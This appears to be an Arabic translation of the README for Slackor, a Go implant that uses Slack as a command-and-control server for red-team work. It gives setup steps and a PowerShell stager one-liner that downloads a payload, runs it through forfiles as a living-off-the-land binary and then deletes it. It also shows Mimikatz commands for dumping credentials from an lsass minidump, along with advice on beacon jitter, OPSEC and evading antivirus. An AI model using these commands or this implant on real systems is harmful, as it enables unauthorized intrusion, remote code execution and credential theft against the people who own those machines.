
أداة اختراق مكتوبة بلغة Go تستخدم سلاك كخادم تحكم وأوامر.
يُحافظ عليه في https://github.com/n00py/Slackor
أداة خفية (implant) بلغة Go تستخدم Slack كقناة للتحكم والأوامر.
هذا المشروع مستوحى من Gcat و Twittor.
تم إصدار هذه الأداة كإثبات للمفهوم. تأكد من قراءة وفهم سياسة مطوري تطبيقات Slack قبل إنشاء أي تطبيقات Slack.
ملاحظة: الخادم مكتوب بلغة Python 3
لكي يعمل هذا تحتاج إلى:
مساحة عمل Slack
سجل تطبيقًا مع الأذونات التالية:
أنشئ بوتًا
يحتوي هذا المستودع على خمسة ملفات:
install.sh يقوم بتثبيت التبعياتsetup.py البرنامج النصي لإنشاء قنوات Slack وقاعدة البيانات والأداة الخفيةagent.py برنامج نصي لتوليد أدوات خفية جديدةserver.py خادم Slackor، مصمم للتشغيل على Linuxagent.go الأداة الخفية بلغة Gorequirements.txt تبعيات Python (تُثبت تلقائيًا)للبدء:
go get github.com/Coalfire-Research/Slackorcd $GOPATH/src/github.com/Coalfire-Research/Slackorinstall.shsetup.py
بعد تشغيل البرنامج النصي بنجاح، سيتم إنشاء عدة ملفات في الدليل dist/:
agent.windows.exe: ملف ثنائي Windows 64-bitagent.upx.exe: ملف ثنائي Windows 64-bit، مضغوط بـ UPXagent.darwin: ملف ثنائي macOS 64-bitagent.32.linux: ملف ثنائي Linux 32-bitagent.64.linux: ملف ثنائي Linux 64-bitبعد بدء server.py على جهاز Linux، قم بتنفيذ أي أداة خفية مناسبة لجهازك الهدف.
شغّل وحدة "stager" لتوليد أمر سطر واحد ومُسقطات أخرى.
powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe
سيقوم هذا بتنفيذ InvokeWebRequest (PS v.3+) لتحميل الحمولة، وتنفيذها باستخدام LOLBin، ثم حذف نفسها عند إيقافها. هذا مثال عملي لكن يمكن تعديل الأمر لاستخدام طريقة تحميل أو تنفيذ أخرى.
اكتب "help" أو اضغط [TAB] لرؤية قائمة الأوامر المتاحة. اكتب "help [COMMAND]" لرؤية وصف ذلك الأمر.
(Slackor)
بمجرد تسجيل أداة خفية، يمكنك التفاعل معها. استخدم "interact [AGENT] للدخول إلى موجه الأداة الخفية. اكتب "help" أو اضغط [TAB] لرؤية قائمة الأوامر المتاحة.
(Slackor:AGENT)
مخرجات الأوامر والملفات التي تم تنزيلها مشفرة باستخدام AES بالإضافة إلى تشفير النقل TLS الخاص بـ Slack.
ستحذرك الوحدات قبل تنفيذ مهام تكتب على القرص.
عند تنفيذ أوامر شيل، لاحظ أن cmd.exe/bash سيتم تنفيذها. قد تتم مراقبة ذلك على الجهاز.
فيما يلي عدة أوامر آمنة من ناحية OPSEC لن تنفذ cmd.exe/bash:
هل هذا آمن للاستخدام في فرق الاختراق (red teams) أو اختبار الاختراق؟
نعم، بشرط بعض الشروط. بينما البيانات مشفرة أثناء النقل، تحتوي الأداة الخفية على مفتاح فك التشفير. أي شخص يحصل على نسخة من الأداة الخفية يمكنه هندستها عكسيًا واستخراج مفاتيح API والمفتاح السري AES. أي شخص يخترق أو يحصل على الوصول إلى مساحة العمل سيكون قادرًا على استرداد جميع البيانات الموجودة فيها. لهذا السبب، لا يُنصح بإعادة استخدام البنية التحتية ضد مؤسسات متعددة.
ماذا عن Mimikatz؟
الأداة الخفية لا تحتوي على وظيفة تفريغ كلمات المرور من الذاكرة. إذا كنت بحاجة إلى logonPasswords، يمكنك تجربة ما يلي:
(Slackor: AGENT)minidump
سيقوم هذا تلقائيًا باستخراج كلمات المرور باستخدام Pypykatz. بدلاً من ذلك، يمكنك استخدام Mimikatz على Windows.
>mimikatz.exe
mimikatz # sekurlsa::Minidump lsassdump.dmp
mimikatz # sekurlsa::logonPasswords
هل هو متعدد المنصات؟
لديه دعم محدود للمنصات المتعددة. لم يتم اختباره بالكامل على جميع الأنظمة التي يمكن تشغيله عليها. تم تصميم الخادم للتشغيل على Kali Linux. تم تجميع الأداة الخفية لأنظمة Windows و Mac و Linux، لكن تم اختباره بشكل أساسي مع Windows 10. قد تتعامل الأدوات الخفية بشكل خاطئ مع الأوامر غير المدعومة على منصة تلك الأداة (لا تحاول عمل minidump على Mac).
ما مدى قابلية التوسع؟
قابلية التوسع محدودة بواسطة Slack API. إذا كان لديك عدة أدوات خفية، فكر في زيادة فترة الإشارة (beacon interval) للأدوات غير المستخدمة.
هل هو عرضة لتحليل الإشارات القياسي؟
حاليًا، كل إشارة تحتوي على 20% من التشتيت (jitter) المدمج، ويمكن تخصيص أوقات الإشارات. ستكون حزم طلب واستجابة تسجيل الدخول بنفس الحجم تقريبًا كل مرة طالما لم يتم استلام أوامر جديدة.
لماذا فعلت [x] بينما هناك طريقة أفضل [y]؟
لقد بذلت قصارى جهدي. الـ PRs مرحب بها :)
يتم اكتشافه بواسطة برامج مكافحة الفيروسات!
مع كونه مفتوح المصدر الآن، من المحتم أن يواجه مشاكل. سأقوم بإصلاح الوحدات قدر استطاعتي لكن لا يوجد ضمان بأن ذلك سيتجاوز جميع برامج مكافحة الفيروسات في جميع الأوقات.